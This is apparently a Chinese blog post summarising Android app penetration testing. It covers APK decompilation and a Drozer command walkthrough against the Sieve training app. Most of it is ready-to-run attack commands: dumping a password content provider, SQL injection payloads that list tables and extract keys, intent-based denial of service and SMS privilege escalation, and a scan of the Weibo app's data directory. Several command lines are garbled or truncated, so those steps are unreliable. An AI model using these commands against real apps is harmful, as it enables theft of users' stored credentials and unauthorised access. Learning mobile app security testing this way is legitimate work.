AndroidAPP渗透测试---总结
1、apk反编译得到源代码
使⽤编译软件 dex2gar 和 jdgui.jar 对Android APP软件进⾏反编译。具体步骤如下:
(1)⾸先将APK⽂件后缀改为zip并解压,得到其中的classes.dex,它就是java⽂件编译再通过dx⼯具打包⽽成的,将classes.dex复制到dex2jar.bat所在⽬录dex2jar⽂件
夹。
(2)在命令⾏下定位到dex2jar.bat所在⽬录,运⾏dex2jar.bat classes.dex,⽣成classes_dex2jar.jar
⾸先将要编译的apk⽂件后缀修改成 .zip 解压之后得到 classes.dex ⽂件,将该⽂件下使⽤ dex2jar.bat⽂件编译成 . ⽣成 classes-dex2jar.jar 将⽣成的该⽂件导⼊ jdgui.jar 这
样我们就可以看到APP的源码了
代码审计部分基本从这部分开始。
对APP的渗透测试我们需要APP的渗透⿊框架来完成。我这⾥使⽤的渗透框架是 Drozer 使⽤的系统是 An
droL 4b
2、Drozer渗透测试框架
Drozer 有Window版本和 linux版本(虚拟机),我这⾥使⽤的是虚拟机 AndroL 4b
如何安装虚拟机中的环境这个⽹上有完整的介绍。这⾥不再写。
(1)启动
连接到虚拟机: adb connect 127.0.0.1:5554 (如果没有使⽤虚拟机可以不⽤这步)
PC上使⽤adb⼯具进⾏端⼝转发,转发数据到 Drozer 使⽤的端⼝ 31415
adb forward tcp:31415 tcp:31415
开启 embedded server-enable
drozer console connect
安装要测试的APP软件到模拟器上,安装⽅法使⽤ adb install app.apk
安装完成呢之后在模拟器丧看到APP已经安装成功
⾸先我们在 Drozer框架下对被测试的APP进⾏信息的收集 run app.package.list
这⾥我以公开组件漏洞为例⼦,进⾏说明安全审计⽅法:
组件 Content Provider配置错误会导致数据泄露。content Provider 以表格的形式把数据展现给外部的应⽤,每个 Content Provider都对应⼀个 “ Content://” 开头的特定的
URL,任何应⽤都可以通过这个URL操作 Content Provider应⽤的数据库。如果有的应⽤对权限控制不当会导致信息泄露的问题。
进⼀步使⽤ Mercury 获取各个URL的数据
安全渗透测试完成的APP我们如何进⾏卸载了?使⽤ adb uninstall <.packagename > 之前必须切换到 adb shell ,之后才可以卸载。
在渗透测试的时候借助其他⼯具像burp Suite、 SDK manage、Wireshark等⼯具对模拟器上的APP进⾏数据包抓包拦截,以及流量的分析。
具体的安全检查点可以对照下⾯的操作去检查。
1.获取包名
dz> run app.package.list -f sieve
ample.sieve
2.获取应⽤的基本信息
run app.package.info -a ample.sieve
3.确定攻击⾯
run app.package.attacksurface ample.sieve
4.Activity
(1)获取activity信息
run app.activity.info -a ample.sieve
(2)启动activity
run app.activity.start --component ample.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
5.Content Provider
(1)获取Content Provider信息
run app.provider.info -a ample.sieve
(2)Content Providers(数据泄露)
先获取所有可以访问的Uri:
run scanner.provider.finduris -a ample.sieve
获取各个Uri的数据:
run app.provider.query
android软件 content://ample.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
(3)Content Providers(SQL注⼊)
run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注⼊。
列出所有表:
run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取某个表(如Key)中的数据:
run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同时检测SQL注⼊和⽬录遍历
run scanner.provider.injection -a ample.sieve
run aversal -a ample.sieve
6 intent组件触发(拒绝服务、权限提升)
利⽤intent对组件的触发⼀般有两类漏洞,⼀类是拒绝服务,⼀类的权限提升。拒绝服务危害性⽐较低,更多的只是影响应⽤服务质量;⽽权限提升将使得没有该权限的应⽤可以通过intent触发拥有该权限的应⽤,从⽽帮助其完成越权⾏为。
1.查看暴露的⼴播组件信息:
run app.broadcast.info -a com.package.name 获取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.尝试拒绝服务攻击检测,向⼴播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过intent发送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
(2) 空extras
run app.broadcast.send --action android.intent.action.XXX
3.尝试权限提升
权限提升其实和拒绝服务很类似,只不过⽬的变成构造更为完整、更能满⾜程序逻辑的intent。由于act
ivity⼀般多于⽤户交互有关,所以基于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升⼯具,可以参考Inten (1)获取service详情
run app.service.info -a ample.sieve
不使⽤drozer启动service
am startservice –n 包名/service名
(2)权限提升
run app.service.start --st.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.⽂件操作
列出指定⽂件路径⾥全局可写/可读的⽂件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run adablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模块
shell.start 在设备上开启⼀个交互shell
tools.file.upload / tools.file.download 上传/下载⽂件到设备
tools.setup.busybox / tools.setup.minimalsu 安装可⽤的⼆进制⽂件
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论